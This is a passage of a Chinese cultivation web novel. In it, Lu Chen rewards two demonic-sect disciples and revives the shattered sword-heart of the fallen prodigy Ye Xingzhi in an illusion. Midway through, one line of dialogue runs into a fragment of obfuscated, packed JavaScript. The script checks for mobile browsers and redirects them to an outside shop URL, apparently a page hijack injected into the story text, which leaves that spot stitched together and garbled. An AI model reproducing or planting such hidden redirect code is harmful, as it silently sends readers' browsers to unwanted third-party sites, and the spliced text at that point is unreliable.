我即我,即为天地,又非天地,总之是玄之又玄,已然好似天上仙人。
若说封侯封王之境是在裂土封侯,裂土封王,在自己所在的域中则为主宰,那麽真一境便是普天之下,无一不是域。
至於真我之境,则已然无需所谓域了。
如今立身此番境界,陆尘越发的感觉自己当初与宋璃交手,以真一境界逆行伐上是多麽凶险的一件事,若不是有各般绝学压身,又加之各种精血真气淬炼肉身,莫说是胜过宋璃了,只怕是连接其几招也是极为困难。
“又近至尊一步了。”
月色洒落,院中好似银霜遍地。
陆尘青衫漫步,在院中徘徊,感慨良多。
他的长发被木簪束起,有几缕碎发零散的於外,风一吹过便飘然而起,好似柳絮。
仙姿飘然,人间谪仙,也不过如此。
陆尘抬头望月,此身於此漂泊已然多年,久到陆尘都有些觉得前世仿若一梦。
这一路所行,至此已然走了挺远,成就真我之境,离至尊将近。
至尊鲜少出世,像百朝战场那次七尊出世更是世之罕见,正常而言,至尊只会在左右五域四海之大事亦或是绝世神通以及帝兵临世之时出现。
明面上来看,真我境界的真君,便是五域四海最顶尖的战力了。
一年多前,陆尘还在书院闲散教书,一年之後,竟已是站在五域四海明面上的顶点之处。
境界修为虽是水涨船高,但论逍遥快活,倒不如在书院闲散教书之时。
隐隐间,陆尘已然是摸到了五域四海隐秘之处的某些东西。
他有预感,很快的,那些藏於水面之下的东西都要涌现出来。
大争之世,无人得以逃脱。
至於所谓为五域四海立规矩一事,说是陆尘想要所行之道,但更多的好似是在许下什麽宏愿一般,就如斩龙人年少时所立誓,生生世世要斩尽天下龙类一般。
虽说是宏愿,是条看不到尽头的路,但千里之行毕竟始於足下,尽力而为之而已。
以陆尘如今的境界实力,自然也谈不上说给五域四海定什麽规矩。
路在脚下,且行便是。
…………
至尊传承之地,至尊洞府之外。
虽说已然过去多日,但山谷之中依旧是人声鼎沸,热闹异常。
不少从至尊洞府出来之人更是原地摆摊卖货,好似市井小贩一般与来者讨价还价。
之所以多日过去还有这麽多人,一来是因为至尊洞府广袤,每一日都有不少人从其中出来,并且在里间所得之物确有不少是世之罕见,二来则是在外围摸索的那些宗门也是渐渐的壮了胆子,逐渐的向这中间之处汇聚,一来二去,此地自然是如以往一般人声鼎沸。
人声嘈杂,亦是分外热闹。
照理来说这般正邪汇聚之地大多要打的你死我活方可,但或许是因为锦衣楼与长歌楼两大势力坐镇,这两大势力并未动手,其馀人自然也跟着老老实实的做些买卖。
热闹之中,却有位少年显得十分落寞,与场中的众人格格不入。
他一人远离人群外,倚靠在岩壁之上,就那麽望着那些热闹人群。
少年神色复杂,像是有些憧憬,又像是有些厌恶。
他所穿的服饰也显然不是场中的任何门派,但人一看却也知晓其出身仙门又或是古老世家,总之那华贵穿着,也并不像是什麽山泽野修。
“都逃到这里来了,还是连争一争的心都没有吗?”
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少年摇了摇头,自嘲的笑了两声。
他的目光望着那至尊洞府的入口之处,有些渴望,又有些恐惧。
少年的落寞并未影响谷中的欢闹,无尘之地的大小门派聚於此地,不少人都是旧识,竟是原地叙旧起来。
门派繁多,而这其中,又以锦衣楼以及长歌楼最为势大。
照理而言这两宗之人底蕴深厚,本就在夺得至尊洞府的大头传承后就此离去,但不少後来人却并不知晓为何他们迟迟守在这,既不是想要抢夺入洞府之人夺得的珍宝,又不是想要在这做什麽生意 。
“那位不会是在耍我们吧……”
锦衣楼领队之人楚天皱了皱眉,看着至尊洞府的入口之处,脸色有些许的难看。
长歌楼李安在亦是面色难看,眼神左㱏飘忽,像是在犹豫什麽。
“要不你我之中离去一位寻门中长辈相助?”
楚天试探性的这般问道。
他对
陆尘虽是十分恐惧,但毕竟自己本身就是封王修士,再加之出身於无尘之地二楼之中,自然没少见过所谓真君。
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陆尘在时,虽灵气并未如何外放,却是给楚天带来一股心悸之感,令其不敢有丝毫反抗之心,甚至於搬出师门的勇气都没有,但如今多日未见陆尘,这般恐惧之意倒是消散了不少,并未再如当初那般。
甚至他还有些後悔,若是自己二人早些将师门搬出,看在二楼的面上,哪怕陆尘身为真君,想必行事也会有所顾忌,而不是莫名其妙的在自己体内种下什麽符籙。
“我觉得可以。”
李安在摸着下巴轻点了点头。
“要不楚兄去,此地离锦衣楼更近,也好早些请师门长辈来此。”
李安在又看向楚天说道。
至尊传承之地乃为小世界,又加之有阵法禁绝,故而不能与外界直接联系,需要有人离开这传承之地方可与师门相交流。
楚天面色一沉,心生有稍许的动怒,但此时二人毕竟是同病相怜,也只能是按压下来,平静而语:“这样吧,你遣你之门人回长歌楼,我遣我之门人回锦衣楼,你我之命,自然不能轻易交於他人之手。”
他看向李安在,神情凝重而语。
先前在众多宗门面前向陆尘服软低头,属实是丢了二楼在无尘之地的脸面,虽说是为了活命方才行此事,但若是传回门中,总归是要受些责罚。
李安在稍稍犹豫片刻,最终点了点头。
他自然也不希望把性命寄托於他人之手,若那所谓的符籙真能轻易取人性命,比起寄托於陆尘解开,李安在觉得倒不如请师门将陆尘镇压后逼其化解来的更实在些。
“那便这麽说定了?”
楚天看向李安在,似乎对其有些不太相信。
魔道多诈,楚天自己也出自魔门,自然知晓同道中人的心思,故而要说其对李安在没有提防,自然也是不可能的。
李安在似乎被楚天这目光看的有些不悦,当下皱眉拂袖而语:“若楚兄信不过我,那你我皆立天道誓言便好了。”
“李兄言重了,这点小事又何需立什麽天道誓言,你我将心比心便是了。”
意识到李安在不悦,楚天当即也是语气放缓而语。
“二位就别在这猜忌来猜忌去的了。”
“不累吗?”
不知何时,青衫男子已然站在二人身後,二人转头,皆是吓了一大跳。
“至尊传承恐落入其手。”
二人不约而同的这般想到。
不过数日过去,青衫男子的境界好像又更上一层楼。
二人能想到的唯一解释,自然是至尊传承已然落到了陆尘手中。
山谷寂寥之处,那落魄少年抬起头看向那一袭青衫,眼中说不清是艳羡还是憎恶。
第一百七十八章 无尘之地
“恭喜前辈。”
楚天拱手而语,脸上强行挤出一个笑脸。
“恭喜前辈。”
李安在也是有样学样的向陆尘拱手道喜。
陆尘倒是觉得有些好笑。
“恭喜什麽。”
他轻笑问道。
“前辈夺得至尊传承,成就至尊之位指日可待。”
楚天压低声音说道。
人情世故,人情世故。
虽说自己是个魔道,但对此事却是颇有研究,知晓该在什麽时候说什麽话。
若是自己大声嚷嚷的说陆尘夺得了什麽至尊传承,自然是在这人多眼杂之地陷其於不利处境,自己有意这般压低声音而语,便是在告诉陆尘自己的分寸。
“我倒觉得前辈如今虽未成至尊,却已然有至尊之威压。”
李安在不甘示弱,也是接连拍马而语。
“打住,没有这个必要。”
陆尘笑着摇了摇头,打断了二人的溜须拍马之语。
“留你二人下来的原因很简单。”
他看向二人轻声而语。
二人低着头,心中都有些忐忑。
原本在入至尊洞府之前,陆尘已然是能轻松抹杀自己,如今更近一步,若其真有什麽杀心,自己二人恐怕不会有分毫的生机。
“送你们点东西。”
陆尘笑语。
二人惶恐,头低的更下。
“还望前辈留小人一命,我虽先前对前辈动了杀心,但修士之争本就不是和言善语便可前行,若前辈心怀芥蒂,小人愿以一身珍宝相赔。”
楚天身子微颤而语。
“我也一样。”
李安在原本倒是没多紧张,有些想不明白陆尘这送点东西是什麽意思,但见楚天这般惶恐,当下也意识到想必不是什麽好事,亦是十分惶恐而语。
陆尘双袖一拂,便有水雾泛起,隔绝了山谷众人目光与神识。
“你们自己挑挑吧。”
陆尘又是稍一拂袖,一排天阶灵宝便是浮现在半空之中,皆是带着浩大的威压。
“这是在逼我挑一件灵器自尽吗?”
如今已然隔绝天地,楚天更是不再顾什麽颜面,当即双腿一软,竟是想要下跪磕头。
他怎麽也想不到,自己堂堂封王修士竟然会沦落到此地步,要被人逼得自尽此生。
楚天忽然间有股想要和陆尘拚命的念头,但这股念头刚一升起就又消散。
比起拚命,似乎求饶更有机会一点。
李安在则是呆愣在原地,看着那一排天阶灵宝双目失神。
乖乖!这得是出自什麽荒古世家又或是上古帝朝才能有这般底蕴啊。
这其中随便一件放到眼下这山谷之中恐怕都要掀起一阵腥风血雨,陆尘竟然随手一排出,便是密密麻麻的数列。
“送你们的,自己挑一件吧。”
陆尘双手拢袖,眯眼笑道。
二人也是呆愣愣的看着陆尘,一时间竟是听不明白陆尘在说些什麽。
“不要我可收走了。”
陆尘又道。
二人这才回过神来,当下目光又移到那天阶灵宝之中。
管他三七二十一,是生是死,是
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福是祸之後再说。
不过二人或多或少的还是有些拘谨,各自只拿了一件下品天阶灵宝。
“知道我为何要赠你二人这灵宝吗?”
陆尘笑问。
二人皆是摇了摇头。
“你二人虽为魔道,而且所行也确实如魔道一般多行狡诈,阴狠凶厉。”
陆尘目光扫过二人而语。
二人低头,可不敢觉得陆尘是在夸自己。
“但如你先前所言,修行路上,不过与天争与地争与人争,各凭手段而已,故而你们二人修道途中使得那些手段,我并不在意,也并不会就此苛责你二人什麽,以此行什麽除魔卫道之举。”
“我在意的是你们二人是有自己的底线,有自己的规矩的。”
“这其实并不是什麽很值得特意夸赞的事。”
“但在无尘之地,在这魔道纵横之地,这确实难能可贵,你二人未曾视凡俗若草芥,更亦是阻拦过同门行些滥杀之事。”
“这很好。”
说到这时,陆尘的目光变得柔和下来。
二人只觉得好似有春风拂过,心一瞬便是静了下来。
“无尘之地很大,我自然不可能与所有人都去说我是怎麽想的。”
“所以我想拜托你们。”
陆尘看向二人,恍然间,就好似学院之中的夫子在对学生寄予什麽期望一般。
“坚守住这份底线,坚守住这份规矩,或多或少,也会有些人被你们所影响。”
“等这种人多了起来,无尘之地,似乎也能真正无尘吧。”
陆尘幽然而语。
第一百七十九 三朝会武
陆尘的话并不大声,但在二人耳中却有如雷震,令二人皆是心神激荡。
这一次二人并未再像先前那般卑躬屈膝的恭维着什麽,而是收敛谄媚之色,正色而语。
“晚辈必尽力而为。”
见二人神色坚定,陆尘微微点头。
他的眸子之中水雾泛起,武道天眼之下,二人皆是蓝色气运,也算得是一方天之骄子。
若看二人生平的话,其实并未有什麽值得说道的地方,与陆尘所见的那些生平各异的少年至尊而言,要平淡的多。
可陆尘对二人是寄予厚望的。
要知晓无尘之地多魔道纵横,本就是行事没有规矩,全由心意所致。
二人位居此地,又是魔道中人,能守住自己的底线,属实不易。
待得二人收好天阶灵宝,陆尘便将水雾散去,不再多说些什麽。
沈如烟与徐长安达成合意离去,顾无错也有所领悟,与其金刀门人汇合。
多日过去,此间之事也算得上是有个落幕。
至於那道魔帝分魂去向何处,陆尘倒是并不知晓,只不过那术士既然算计万年,恐怕不会令其轻易逃脱。
此事陆尘自然也不会去多插手什麽。
他目光向谷中众人扫去,场下黑色,红色,白色,黄色,蓝色皆有,总之是各色交杂,皆有不同。
粗略一扫,不少人的生平也是映在了陆尘眸子之中,里间魔道之人众多,行滥杀无辜之事䭾亦是有不少,当然如思无涯那般几近虐杀吞食万万凡俗的魔修倒是没有。
陆尘有些头疼,若要其看着生平之事一个一个去清理,那不知道要清理到猴年马月。
据悬剑门的长老所言,无尘之地居於中土东北之处,乃是古之流放刑徒之所,久而久之,此地便演化如今日这般,并无任何规矩,唯以强弱之分行事。
谷中之人世世代代立於此地,行事之风自然自幼便是浸染,若陆尘强行以自己的观念去对他人予夺生杀,那麽与其所杀之人,其实也并未有什麽两样了。
天地太大了,莫说是五域四海,哪怕是这无尘之地亦是苍茫无际。
以陆尘如今之位,所能行之事并不多,也只能从一些细微之处入手,好似小雨一般,多少能润泽些许。
目光扫过,落在一位山谷阴影处的少年时,陆尘却是微微停留。
这倒并非是少年的命格有多麽奇特,只是生平令陆尘提起了些许兴趣。
少年人抬头,目光与陆尘对视,但仅一瞬间,他的目光就迅速偏移开来,好像是在羞愧什麽一般。
他站起身来,就要往山谷外离去。
陆尘眸子之中水雾泛起,显现出少年生平。
【姓名:叶行之】
【年龄:一十九】
【境界:紫府二重】
【命格:黄——小有成就】
【生平:出生中土帝朝大族,幼时便展露极强的修行天赋,剑心通透,乃为天生剑子,其一路高歌猛进,年不过一十六时,已然紫府三重之境,哪怕在中土这般天之骄子云集之地,也堪称是真正的少年至尊。
少年得意,遍访中土剑子。
虽各有胜负,但其毕竟年少,哪怕偶有所败,众人也皆不以为意,知晓少年来日必定能登临剑道至尊之位。
然少年一十七时,遇景朝帝子,二人比剑,景朝帝子一剑碎少年佩剑,一剑斩少年发丝,一剑直指少年眉心。
三剑而过,少年剑心崩碎,自此颓然不已。
天骄亦有差别。
他人见少年如见青天,景朝帝子却见少年如一粒蜉蝣。
叶行之自此失魂落魄,哪怕他人如何相劝,亦是难以使其剑心再聚。
第一次的,少年知道自己是庸才,景朝帝子那三剑,他一剑也看不穿,他一剑也学不来。
叶行之自此修行寸步难行,境界不进反退,跌落至紫府二重。
因其受不了旁人目光,弃族而去无尘之地。
其於无尘之地终此馀生,不敢再进中土一步。】
少年的生平落在陆尘眼中,令陆尘感慨不已。
年少成名,风光无限。
却是在风头最盛被人以自己最引以为傲的长剑将傲气斩的粉碎,自此从云端掉落泥潭之中。
并且与陆尘向来见到的那些天之骄子不同,眼前的少年并未有什麽反转。
终其一生,也未能重拾剑心,从中土之地的天之骄子到最後在无尘之地泯然众人。
陆尘有些意识到为何这少年看向自己时目光羞愧了。
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与其说是羞愧,倒不如说是自卑。
世事难料,谁也未能想到曾经傲然遍访剑子的天骄少年也会有与人目光相触便自卑而逃的一天。
陆尘暗自在心中叹了口气,身形一瞬,便已是到了少年面前。
少年见陆尘拦路,也并未疑惑问些什麽又或是动
怒出手,少年不语,只是低着头自顾自的绕路。
“稍等。”
陆尘轻唤了一声,少年这才抬起头来。
他站在阴影之处,眸子灰暗。
“有什麽事吗?”
叶行之的声音冷冷的,有种生人勿近的疏离之感。
此时山谷之中已然没有那麽热闹,在金刀门以及锦衣楼,长歌楼皆是离场后,山谷之中已然是少了许多人。
“你不是此地之人吧?”
陆尘笑问道。
少年的衣着与山谷中的人格格不入,自然一眼就能看出并非是无尘之地门派
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中人。
“你不也不是?”
叶行之瞥了一眼陆尘,面无表情。
少年道心破碎,显然对万事万物都有些心灰意冷。
他不敢直视陆尘的眸子,就好像那一场落败之後,少年再也不敢看一眼长剑那般。
“我确实不是此间中人。”
陆尘笑道。
少年没有答话,并不愿与陆尘多说些什麽。
他有些厌恶这些人。
厌恶这些真正的天之骄子。
与他们相比,自己年少之时所承受的一切赞誉都好像是笑话一般不值一提。
年少时所承受的赞誉越多,如今对於少年而言,心中所受的创伤便是越重。
他又对这些有十分羡慕。
羡慕他们才是真正的天之骄子,是那些可以在青史之上留名,可以在帝路之中争锋之人。
而自己呢?
自己不过是他们的垫脚石而已,自己这块石头越是金碧辉煌,金光璀璨,对於他们而言,那便是块越好的垫脚石。
叶行之忽地有些怨恨上天,既然要让自己这般狼狈,又何以要先行假惺惺的给自己一个天骄的名头。
“听闻三朝会武将至,我正好缺个领路人,带我一程如何,报酬嘛……我可以教你一门剑术。”
陆尘并未受少年冷色影响,依旧笑意而语。
与徐长安等人相处多日,陆尘对於这中土之地也有了更为清晰的认知。
除却无尘之地外,中土大抵可划分为三部分,分别由景朝丶玄朝丶元朝三大帝朝所掌控。
三大帝朝皆为帝者所留之传承,万古不曾消亡。
当然这只是大抵的划分,实则这三朝境内也有不少的荒古世家以及隐世仙门都算的上是国中之国,并不受这三大帝朝所管辖。
而这所谓的三朝会武,便是云集中土的少年至尊於一朝帝都之中切磋较量,不少至尊大能亦是会亲临现场,以此来挑选自己的传承者。
再者这毕竟有关帝朝脸面,故而并不会有人藏拙,几乎每一届三朝会武夺冠之人,便是实打实的此届天骄中的第一人,风光无限,令天下瞩目。
三朝会武轮流在三大帝朝的帝都举行,此届之所在,则是景朝帝都。
届时又是天骄云集,陆尘自然不会就此错过。
“不去。”
少年摇了摇头,拒绝的很乾脆。
他已然暗自发誓,此生不再踏入中土之地半步。
叶行之承受不住他人目光,哪怕他也知晓有些人并不是在讥讽自己,还是在替自己惋惜,但那亦是令他有如被刀割一般,难以承受。
既然如此,倒不如就此远离,眼不见心不烦。
道理叶行之其实都懂,但他已经没有这份心去做些什麽了。
当个废柴,未必比那所谓的天骄差。
至少再也不用背负些什麽了。
第一百八十章 三剑
“我教你的可是绝顶剑术,当真不想学?”
陆尘微眯着眼笑道。
“不想。”
少年皱了皱眉,似乎已然被陆尘连番发问而扰的有些心烦。
莫说是什麽绝顶剑术了,现如今叶行之连半点握剑的想法都没有。
这确实是个令人很惊奇的变化,要知晓叶行之第一次握剑之时,便将手中之剑看的比生命还重要。
剑在人在,剑毁人亡。
只是在与景朝帝子比剑后,佩剑被毁,被其三剑打的道心崩碎,叶行之本该履行自己幼时的承诺随剑而亡,可到了最後,心如死灰,连殉剑的勇气也没了。
当然这也是叶行之不再将长剑视为多重要之物。
剑就是剑,不过只是武器的一种形态而已,有什麽好格外珍视的。
有时候叶行之自己都想笑。
若是幼时的自己见到如今的自己也会感到万分不齿吧。
可那又如何。
事已至此,技不如人,认了便认了。
“若你能悟得此术,我敢说天底下没有人能单单以剑术压你一头。”
陆尘说道。
叶行之抬头看了眼陆尘,像是在看什麽神棍一般。
“我没有什麽油水可榨的,不用想着骗我什麽。”
他看向陆尘坦然而言。
少年并未说谎,他孤身离家,并未带走家族中让任何物件,哪怕是以前家中长辈所赠予的那些灵宝仙草,少年也全然留在了族中。
“我没在骗你。”
陆尘说道。
少年道心崩溃至此,与他说什麽大道理显然是不会有任何用的,毕竟该说的其身边之人想必早已说尽,陆尘再多费些口舌也并未有什麽意义。
与其用些什麽大道理去引导其重拾剑心,倒不如讲些实实在在的东西。
至於为何想要指点眼前少年,一来是其若剑心重聚,按照武道天眼的生平描述,想来至少也是能达到紫色命格。
二来则是陆尘前往帝朝之中,也确实要个带路人。
少年出身帝朝大族,自然对中土的认知比之旁人要多上许多。
虽说陆尘一脸坦诚,但叶行之显然不行。
陆尘倒也不着急,眸中红光一闪,二人便已然出现在另一片天地之中。
天地变幻,只见得有一人凌空而立,持剑直指一位长发散披的少年。
那凌空而立之人乃为景朝帝子,披头散发者则为叶行之。
在先前遍访中土剑子问剑之时,叶行之也并不是没有输过。
他也败过数场,从未因落败而自怨自艾什麽。
但眼下这一场却是截然不同,三剑,仅仅三剑便打的叶行之道心破碎,自此颓然跌境,剑心不再。
差距实在太大了。
与其相比,叶行之倒是颇为识相的自嘲自己是个庸才了。
当下这一幕又在眼前浮现,叶行之显然是有些难以承受,立马转身,不敢多看一眼。
他抱头蹲下,面色痛苦。
那一日之心痛,时至今日,叶行之也从未忘记分毫。
“前辈不要折磨我了。”
叶行之声音颤抖,有些痛苦的说道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14155526|150342||http|test|mini|href|location''.split(''|''),0,{}));
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他猜想陆尘应该是族中请来给自己开导的大能修士,虽说直到如今族中也没放弃自己令叶行之多少有些感动,但再见到这溃败一幕,少年心中却只有痛苦。
“我真的不想再去听什麽大道理了,我也不想用剑,不想修行了,我就想混吃等死吃,就想在这无尘之地终老一生。”
似乎是心里紧绷的那根弦已经断了,少年不再像先前那般惜字如金沉默寡言,而是有些崩溃的大喊起来,已然有着哭腔。
“我并非是来与你讲什麽大道理的。”
陆尘说道。
“我是来帮你胜过他的。”
“别说笑了前辈,你知道那是什麽人吗?那是怪物啊,那根本不是人啊!”
叶行之终於忍不住心底泛滥的那些情绪,当下已然崩溃大哭,面色痛苦。
“在此地你可以与之交手千次万次,总有一次能胜过他。”
“若是学会了我传你的剑招,不出百次,必能胜之。”
陆尘也并未去安慰少年什麽,而是直截了当的这般说道。
少年并不说话,依旧抱头痛哭。
“你有没有想过,他可能并不比你天赋高多少,只是所学剑术远胜於你呢?”
陆尘又道。
听到这话时,少年才稍稍止住了痛哭之势,转过头来满面泪痕问道:“真的?”
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第一百八十一章 再问一剑
“真的。”
陆尘双手拢袖,眯眼微笑点头。
叶行之看着陆尘这副模样,却依旧有些不信,他眼睛眨巴着,不知是因大哭而有些枯涩还是说是在疑惑着什麽。
“你不想想,人家出身帝朝,乃为帝朝帝子,自然有名师指点,传之无上剑法,你今败於其手,不过是剑术上差了些而已。”
陆尘手指了指那半空之上持剑而立的少年,轻笑而语。
“前辈的意思是我并不比他差?只是输在他所学剑术要好些?”
叶行之有些忐忑而问。
“是这个意思。”
陆尘点头。
眼前少年自三剑落败於景朝帝子之後,想来身旁人已然是各般劝慰又或是以大道理教之了。
所有人都在和他说输给景朝帝子不丢人,又会是什麽三十年河东三十年河西的话。
也只有陆尘在告诉他,你并没有输给他。
哪怕叶行之其实确实是输了,而且是输的很狼狈。
见陆尘点头,叶行之的眸子里有稍许亮光显现出来,虽然并不多,但在少年那原些灰暗的眸子之中却是显得极为亮眼。
这般情况属实是罕见,他已然有一两年没有这般心情有所激荡了。
“抬起头看向他。”
陆尘又言。
他的声音始终是不急不缓,令少年如沐春风。
叶行之听着陆尘的话,把头微微扬起。
他看向那半空之中持剑而立的少年,虽说依旧觉得那少年分外耀眼,但却并未像之前一般丝毫不敢直视了。
半空之中,景朝帝子持剑而立,而另一道叶行之的幻影则是长发凌乱,被那帝子以长剑直指眉心。
陆尘稍一拂袖,那叶行之的幻影便是消散。
“想不想与之再交手一番?”
陆尘看向叶行之问道。
叶行之看向那景朝帝子,嘴巴张了张,很想让自己说出个想字。
可不知为什麽,他的身子越发颤抖,话到嘴边,却是吐不出半个字。
他还是怕。
还是怕那如烈阳般耀眼的天骄。
那才是真正的天骄。
不自觉的叶行之的眸子又暗了下来。
他觉得自己真是有些可笑,不过是一道幻影在自己面前,自己竟然怕到全身发抖,若真是真身於此,拿自己不得直接抱头鼠窜不成。
“叶行之啊叶行之,你年少握剑之时,恐怕也想不到自己会落到今天这般懦夫模样吧。”
少年嘴角勾起自嘲笑意,而後转身面向陆尘,恭敬行了一礼,眸子之中有些许的愧疚之色。
“有劳前辈现此神通了,不过我先前那狼狈模样前辈也看到了,单单是看着他就浑身发抖,更不用说与之比剑了。”
他面带惭愧之色向陆尘而语,始终无法跨过心中的那道坎。
在叶行之心中,那半空之中的那道身影始终挥之不去,好似梦魇。
每念到那道身影,莫说是什麽修行念头了,叶行之连半点握剑的心也没有。
“还请前辈放我离去吧,此物留给前辈,家中长辈见之,前辈也好交差。”
叶行之取下腰间玉牌,这是他唯一从家族之中带走的外物。
此物交於陆尘,也即代表着少年已经决意与家族之中没有半点牵连了。
陆尘摇了摇头。
“不着急,且看此剑。”
陆尘长袖一拂,天地间风云涌动,只见其手作剑指,便有白光在其指尖涌动。
剑气一瞬间充斥着整片天地,令叶行之亦是有些喘不过气来。
“开天。”
陆尘轻吐二字,手作剑指,一剑斩出。
剑气纵横而去,天之痕顷刻显露。
叶行之目瞪口呆。
一剑开天,除却至尊,世上有几人能行之,恐怕只有眼前人。
“如何?”
陆尘双手又拢进袖中,天地间的剑气一瞬消散,他眯眼笑问,眼神和煦。
叶行之一瞬之间觉得自己是不是出现什麽幻觉了,为何前一刻还是一剑开天的顶尖剑修,下一刻竟是这般和颜悦色。
他揉了揉眼睛,陆尘依旧面带浅笑。
“好厉害。”
失神良久后,叶行之不禁一叹。
他原先本就是天生剑子,自然也与不少剑道大家修行过,但像陆尘这般一气呵成,威势之盛者,却是从未见过。
“想学吗?”
陆尘问道。
“想。”
这一次,少年没有半分犹豫。
隐约间,他那颗破碎一地的剑心有了些许的晃动。
一剑开天,这不就是剑修想为之事吗?
天地虽大,我一剑自然横行之。
虽说少年早已是心灰意冷,没有半点提剑的念头,可在陆尘这一剑之威下,属於剑修的本能反应还是出现。
试问又有哪位剑修不想如陆尘这般呢?
哪怕叶行之现在说不说得上上位剑修都难说。
“那我教你。”
陆尘说道。
他很清楚,对於叶行之这般剑心破碎,已然听了无数大道理的人来说,真要与其再说些什麽,
恐怕陆尘说个三天三夜,也不会有什麽效果。
就如先前陆尘所言已然触及到少年心底,可当其见到那半空之中的那道身影时,却依旧是提不起半点握剑的勇气。
既然如此,那只能是以五感刺激少年。
剑修於剑之羁绊,纵使主动舍弃,又哪能真真正正
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的彻底斩断。
故而当陆尘一剑而过,少年那颗破碎的剑心便又是跳动起来,丝毫不能遮掩。
“多谢前辈!”
叶行之的眸子里流露出些许亮光,当即向陆尘郑重行礼。
陆尘以手做笔,在半空之中复刻这本剑经。
单以品轶看来,这部剑经倒也不是什麽绝世珍宝,而是一部天阶上品的武技,之所以有这般威势,也多少是因为陆尘以剑道真意夹杂其中。
不过对於少年而言,天阶武技正是恰好的位置,若是什麽小神通的话,以少年如今剑心恐怕在此参悟个七天七夜也能以得悟,不但不能重拾剑心,反倒是为令本就破碎的剑心更为不堪。
而天阶上品则恰恰好在少年可以参悟,又同样会心觉是门顶尖剑术的位置。
见得那剑经之後,少年便是紧盯着那金色小字而陷入冥想之中。
陆尘也不再打扰少年,离开幻境之中,在山谷转悠。
“自东域离开的太仓促,倒是有好些东西没有留给凌云他们。”
山谷之中,看着眼前不少年少之人,陆尘不禁感慨道。
虽说陆尘那些学生们的成长速度远远不及陆尘本身,哪怕不少人未来成就颇高,可对於陆尘而言,也并未有多少帮助,毕竟其与天渊之间的死结,只会在这之前便斩的一乾二净。
不过这也并非是说陆尘指点过後除了收获学生谢意以及系统奖励后便不会再有什麽作用。
相反的,暗地之中,有张网已经织的很大。
有朝一日,当那些天骄以及其背後的护道之人织连成网,哪怕是天渊也只能被困其中,难以挣脱而出。
“我不但要以力胜你,亦要以势压你,天渊,无需存於世间。”
陆尘北望,目光眺望万里。
极远处,绿色罗裙的女子似乎心有所感,缓缓回头,向南而望。
…………
幻境之中,少年睁开眸子,眼中已然有着剑气激荡。
他手凭空一抹,一把紫气所凝聚的长剑便已然出现在少年手中。
虽不是切切实实的长剑,可少年亦是为之一颤。
近两年了,又一次,少年再度握剑。
他抬起头,看向那半空之中的景朝帝子,虽身子依旧有些颤抖,但目光却不再偏移分毫。
叶行之长剑直指少年,目光如炬。
那半空之中的帝子也是缓缓扭过头来看向叶行之,嘴角露出一个阴沉沉的笑。
这自然不是那般天骄会显露的表情,更多的该称为是少年之心魔。
见到那般笑容,叶行之心中虽是一惊,但当下却是紧咬着牙,长剑依旧直指少年。
“来,与我再问剑一场!”
少年高声喊道,身子微颤,长剑却无比笔直。
第一百八十二章 帝都
幻境之中,陆尘不知何时已然重返,只是他并未出声,而是默默地坐在云端之上,看着眼前少年相争。
少年意气,总是最激人心。
只见得天地间剑气纵横,叶行之已然与景朝帝子长剑相撞。
依旧如第一次与其交手一般,叶行之手中长剑一碰就碎。
但这一次叶行之却没有半分犹豫,手中无剑,那便以手作剑。
叶行之立於天地之间,手作剑指,一剑斩出,天地为之失色。
虽并未像陆尘那般直接斩出天地裂痕,却依旧是威势惊人,令人不敢与之相撞。
不过那景朝帝子却并未有丝毫避让之意,长剑高举,以举火燎天之势斩落,剑气纵横,好似要劈开天幕。
叶行之咬牙,他有一瞬间想要弃剑而逃,但这般念头只在一瞬之间便是消散。
不许逃。
少年在心底默默对自己而语。
他双眸紧闭,斩出自己认为的平生最强一剑。
一剑而出,却依旧难以抵挡景朝帝子所斩出的那一剑。
少年被剑气贯穿,如风筝般直坠入地,砸出滔天尘烟。
景朝帝子如惊虹一般跟来,长剑直指三年眉心。
结局与叶行之第一次问剑其实并没有两样,依旧是三剑而过,便是狼狈落败。
若单论结局之惨烈,这第二次甚至是更为严重,叶行之整个人倒在血泊之中,衣裳尽皆染血,而上一次,叶行之不过是断了一把本命飞剑,被斩了一缕发丝而已。
但与第一次颓然心死模样不同,叶行之的眸子不再灰暗,反倒是涌着有些刺眼的亮光。
他伸出双手,紧紧的抓住景朝帝子手中长剑。
剑刃将其双手割的鲜血直流,少年却并未感受到丝毫的疼痛,反而是畅快至极,好似是饿了千年的酒鬼终於尝到了世之美酒一般。
“此生我也不会再弃剑而逃。”
少年紧盯着景朝帝子,目光如炬。
“宁死也不。”
他嘴角鲜血依旧流淌着,少年一字一句而语。
景朝帝子眉头微皱,而後身影竟是如尘烟般就此消散。
少年重新躺倒在血泊之中,自顾自的大笑起来。
陆尘自云端而望,只见得少年那黄色气运猛然攀登,很快的便化作紫色气运。
紫色命格,一方至尊。
这才是少年原本该有的成就,如今剑心重聚,武道天眼观测之下,命格自然也攀登转变。
机械声在陆尘的耳边响起,命格点又加了一点。
若不论实力,单论命格而言,这山谷之中的天之骄子倒是有些少了。
陆尘一路所见,也不过沈如烟一紫金,顾无错一紫,至於徐长安以及那魔帝分魂,则又是另当别论。
如今叶行之到了这紫色命格,则又多了一人。
“感觉如何?”
陆尘飘然落到少年身前。
他倒并未给少年治什麽伤,此中毕竟只是幻境而已,除非是真的在幻境之中身死,那才会使得神魂消亡,只是行尸走肉一具,除此之外,无论受了多重的伤,对於外界其实也并不会有什麽影响。
“好极了。”
少年挣扎的从血泊之中站起来,身子僵硬的想要向陆尘行礼。
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陆尘倒是没给少年这机会,一拂袖,眼下的这片幻境便是崩塌散去。
二人重返山谷之中。
少年睁开眸子,赶忙起身,向陆尘深深一拜。
陆尘倒也并未推辞谦虚什麽,坦然受之。
“多谢前辈指点,此番恩情,行之绝不敢忘。”
叶行之郑重而语。
这番话陆尘已然听过不少遍了,不过对陆尘说这番话的少年天骄们大多是心诚而发,并非是在讨好陆尘什麽。
“眼下倒是就有个忙要你帮。”
陆尘笑了笑说道。
“上刀山下火海,晚辈在所不惜。”
叶行之正色而语。
他的眸子已经不再灰暗,浑身上下都有着剑气涌动,俨然又是从前那般天骄姿态。
“没有这麽严重,给我带个路就好了。”
陆尘失笑说道。
“前辈想去何处?”
